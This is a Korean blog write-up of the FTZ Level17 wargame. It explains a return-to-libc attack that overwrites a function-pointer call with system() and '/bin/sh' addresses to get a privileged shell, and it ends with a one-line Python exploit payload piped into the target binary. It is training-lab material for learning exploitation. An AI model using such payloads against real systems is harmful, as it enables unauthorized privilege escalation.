Sqix

FTZ Level17 본문

Wargame/FTZ

FTZ Level17

Sqix_ow 2018. 7. 20. 10:53


저번에는 shell 함수가 있었는데 사라졌습니다. 대신 setreuid가 call 호출 이전에 주어졌네요.


그렇다면 RTL 기법을 활용해서 문제를 해결해 보겠습니다.




objdump, strings 명령어를 이용해서 system(), /bin/sh의 주소를 구합니다. libASLR이 없으니 저 주소는 고정적입니다.


call의 위치에 system() 함수의 주소를 넣어 놓고, fgets에 들어가는 인자를 조작해서 call 직전 stack의 최상단에 /bin/sh 주소를 넣으면 system(/bin/sh) 호출이 됩니다.


이를 위해서는 어셈을 한번 봐야겠죠




gdb 인자로 값을 밀어넣고 실행을 시켜 보도록 하겠습니다.



*call이 가리키는 함수를 호출하기 직전에 스택의 맨 위에 buf의 첫 4bytes가 존재하므로, 이 부분을 /bin/sh로 바꿔주고, call에 시스템 함수의 주소를 넣습니다.


이렇게 하면 setreuid가 실행된 상태에서 /bin/sh이 실행되어 상위 권한을 얻을 수 있습니다.


$(python -c 'print "\xa4\x7e\x12\x42" + "A" * 36 + "\xc0\xf2\x03\x42"'; cat) | ./attackme



'Wargame > FTZ' 카테고리의 다른 글

FTZ Level19  (0) 2018.07.21
FTZ Level18  (0) 2018.07.20
FTZ Level16  (0) 2018.07.20
FTZ Level15  (0) 2018.07.10
FTZ Level14  (0) 2018.07.10
Comments